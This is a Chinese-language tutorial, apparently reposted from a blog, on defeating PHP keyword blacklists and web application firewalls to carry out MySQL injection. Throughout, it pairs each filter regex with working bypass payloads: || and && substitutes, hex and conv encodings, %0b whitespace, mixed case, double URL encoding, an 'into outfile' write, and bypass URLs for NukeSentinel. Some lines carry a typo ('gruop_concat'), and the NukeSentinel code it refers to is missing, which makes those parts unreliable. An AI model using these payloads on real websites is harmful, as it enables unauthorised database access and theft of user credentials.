PHP_Mysql注入防护与绕过
黑名單關鍵字過濾與繞過
過濾關鍵字and、or
PHP匹配函數代碼如下:
preg_match('/(and|or)/i', $id)
如何Bypass,過濾注入測試語句:
1 or 1 = 1 ? ? ? ? ? ? ? ?1 and 1 = 1
測試方法可以替換為如下語句測試:
1 || 1 = 1 ? ? ? ? ? ? ? ?1 && 1 = 1
過濾關鍵字and, or, union
PHP匹配函數代碼如下:
preg_match('/(and|or|union)/i', $id)
如何Bypass,過濾注入測試語句:
union select user, password from users
測試方法可以替換為如下語句測試:
1 || (select user from users where user_id = 1) = 'admin'
過濾關鍵字and, or, union,where
PHP匹配函數代碼如下:
preg_match('/(and|or|union|where)/i', $id)
如何Bypass,過濾注入測試語句:
1 || (select user from users where user_id = 1) = 'admin'
測試方法可以替換為如下語句測試:
1 || (select user from users limit 1) = 'admin'
過濾關鍵字and, or, union,where,limit
PHP匹配函數代碼如下:
preg_match('/(and|or|union|where|limit)/i', $id)
如何Bypass,過濾注入測試語句:
1 || (select user from users limit 1) = 'admin'
測試方法可以替換為如下語句測試:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
過濾關鍵字and, or, union,where,limit,group by
PHP匹配函數代碼如下:
preg_match('/(and|or|union|where|limit|group by)/i', $id)
如何Bypass,過濾注入測試語句:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
測試方法可以替換為如下語句測試:
1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
過濾關鍵字and, or, union,where,limit,group by
PHP匹配函數代碼如下:
preg_match('/(and|or|union|where|limit|group by)/i', $id)
如何Bypass,過濾注入測試語句:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
測試方法可以替換為如下語句測試:
1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
過濾關鍵字and, or, union,where,limit,group by,select
PHP匹配函數代碼如下:
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
如何Bypass,過濾注入測試語句:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
測試方法可以替換為如下語句測試:
1 || 1 = 1 into outfile 'result.txt'
1 || substr(user,1,1) = 'a'
過濾關鍵字and, or, union,where,limit,group by,select,'
PHP匹配函數代碼如下:
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
如何Bypass,過濾注入測試語句:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
測試方法可以替換為如下語句測試:
1 || user_id is not null
1 || substr(user,1,1) = 0x61
1 || substr(user,1,1) = unhex(61)
過濾關鍵字and, or, union,where,limit,group by,select,',hex
PHP匹配函數代碼如下:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
如何Bypass,過濾注入測試語句:
1 || substr(user,1,1) = unhex(61)
測試方法可以替換為如下語句測試:
1 || substr(user,1,1) = lower(conv(11,10,36))
過濾關鍵字and, or, union,where,limit,group by,select,',hex,substr
PHP匹配函數代碼如下:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
如何Bypass,過濾注入測試語句:
1 || substr(user,1,1) = lower(conv(11,10,36))
測試方法可以替換為如下語句測試:
1 || lpad(user,7,1)
過濾關鍵字and, or, union,where,limit,group by,select,',hex, substr, white space
PHP匹配函數代碼如下:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
如何Bypass,過濾注入測試語句:
1 || lpad(user,7,1)
測試方法可以替換為如下語句測試:
1%0b||%0blpad(user,7,1)
部分WAF繞過技巧
1、繞過部分WAF
/news.php?id=1+un/**/ion+se/\**/lect+1,2,3--
2、匹配正則如下:
/union\sselect/g
繞過方式:
/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
3、過濾一次關鍵字
/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
4、關鍵字被過濾,有的時候可以用%0b插入關鍵字繞過
/news.php?id=1+uni%0bon+se%0blect+1,2,3--
5、對于Mod_rewrite的作用使得/**/不起作用時可以使用%0b代替
替換前:
/main/news/id/1//||//lpad(first_name,7,1).html
替換后:
/main/news/id/1%0b||%0blpad(first_name,7,1).html
6、大多數的CMS和WAF會對用戶輸入進行解碼然后過濾,但有些只解碼一次,我們可以對payload進行多次編碼然后測試
/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
真實的例子
NukeSentinel
Nukesentinel.php的代碼如下:
針對上面的防護,使用如下測試語句將被攔截:
/php-nuke/?/**/union/**/select…
可以使用如下語句代替:
/php-nuke/?/%2A%2A/union/%2A%2A/select…
/php-nuke/?%2f**%2funion%2f**%2fselect…
總結
以上是生活随笔為你收集整理的PHP_Mysql注入防护与绕过的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 大定通宝是哪个朝代的钱币
- 下一篇: linux cmake编译源码,linu